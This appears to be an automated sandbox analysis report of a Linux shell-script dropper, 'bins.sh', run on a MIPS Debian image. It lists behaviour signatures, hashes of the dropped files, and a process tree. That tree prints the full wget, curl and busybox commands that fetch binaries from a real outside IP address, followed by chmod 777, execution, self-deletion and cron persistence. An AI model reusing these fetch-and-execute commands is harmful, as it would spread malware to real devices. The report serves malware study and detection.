Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 17:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a0dad1a573f72a6534abb219fcb609c3

  • SHA1

    140b3643fa1f39b4149ba4ecf7b68c13e59fad26

  • SHA256

    79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a

  • SHA512

    736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401

  • SSDEEP

    192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd

Malware Config

Signatures

  • Contacts a large (1838) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:733
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:740
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:743
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:744
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Writes file to tmp directory
                PID:796
              • /bin/chmod
                chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • File and Directory Permissions Modification
                PID:798
              • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:799
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:801
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:802
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:803
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:804
                    • /bin/rm
                      rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                      2⤵
                        PID:806
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                        2⤵
                          PID:809
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                          2⤵
                            PID:810
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                            2⤵
                            • Writes file to tmp directory
                            PID:811
                          • /bin/chmod
                            chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                            2⤵
                            • File and Directory Permissions Modification
                            PID:897
                          • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                            ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                            2⤵
                            • Executes dropped EXE
                            PID:898
                          • /bin/rm
                            rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                            2⤵
                              PID:900
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                              2⤵
                                PID:901
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                2⤵
                                  PID:902
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:903
                                • /bin/chmod
                                  chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:904
                                • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                  ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                  2⤵
                                  • Executes dropped EXE
                                  PID:905
                                • /bin/rm
                                  rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                  2⤵
                                    PID:907
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                    2⤵
                                      PID:908
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                      2⤵
                                        PID:909
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:910
                                      • /bin/chmod
                                        chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:919
                                      • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                        ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                        2⤵
                                        • Executes dropped EXE
                                        PID:920
                                      • /bin/rm
                                        rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                        2⤵
                                          PID:922
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                          2⤵
                                            PID:923
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                            2⤵
                                              PID:924
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:928
                                            • /bin/chmod
                                              chmod 777 pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:930
                                            • /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                              ./pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                              2⤵
                                              • Executes dropped EXE
                                              PID:931
                                            • /bin/rm
                                              rm pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                              2⤵
                                                PID:932
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                2⤵
                                                  PID:934
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                  2⤵
                                                    PID:935
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:937
                                                  • /bin/chmod
                                                    chmod 777 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:941
                                                  • /tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                    ./0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:942
                                                  • /bin/rm
                                                    rm 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                                    2⤵
                                                      PID:946
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
                                                      2⤵
                                                        PID:947

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      ca897a38f23ec23521ce0b1b83f8422d

                                                      SHA1

                                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                      SHA256

                                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                      SHA512

                                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                    • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      6c583043d91c55aa470c08c87058e917

                                                      SHA1

                                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                                      SHA256

                                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                      SHA512

                                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                    • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI

                                                      Filesize

                                                      98KB

                                                      MD5

                                                      5141342d0df8699fa32a6b066a0c592e

                                                      SHA1

                                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                      SHA256

                                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                      SHA512

                                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                    • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                                      SHA1

                                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                      SHA256

                                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                      SHA512

                                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                    • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                                                      Filesize

                                                      107KB

                                                      MD5

                                                      eb9c3a0de91fcf16ba17cb24608df68c

                                                      SHA1

                                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                                      SHA256

                                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                      SHA512

                                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                    • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB

                                                      Filesize

                                                      99KB

                                                      MD5

                                                      9438d9bc392bcf300a5583b6df5bc8f6

                                                      SHA1

                                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                                      SHA256

                                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                      SHA512

                                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                    • /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      701e7a55a4f3650f5feee92a9860e5fc

                                                      SHA1

                                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                      SHA256

                                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                      SHA512

                                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                    • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                                                      Filesize

                                                      119KB

                                                      MD5

                                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                                      SHA1

                                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                      SHA256

                                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                      SHA512

                                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                    • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                                                      Filesize

                                                      122KB

                                                      MD5

                                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                                      SHA1

                                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                      SHA256

                                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                      SHA512

                                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                    • /var/spool/cron/crontabs/tmp.h9GhcV

                                                      Filesize

                                                      210B

                                                      MD5

                                                      9b4b2d6da882d703669167e428a3207b

                                                      SHA1

                                                      5d10c4eea40bfcf1ea01a55a33a0a4ae33a55bab

                                                      SHA256

                                                      28930cd8e06198c450bb4e69ad522b403f5ee36d635b7a4937bfdb9b22d9d324

                                                      SHA512

                                                      a664483e708c28ddc207718d8d4bdf4e82300c91e5630ac690253e63de357da28c25319e8febe9a8072f8a8f0ec8baa183ee4af98f668d0e5cf1810713caa475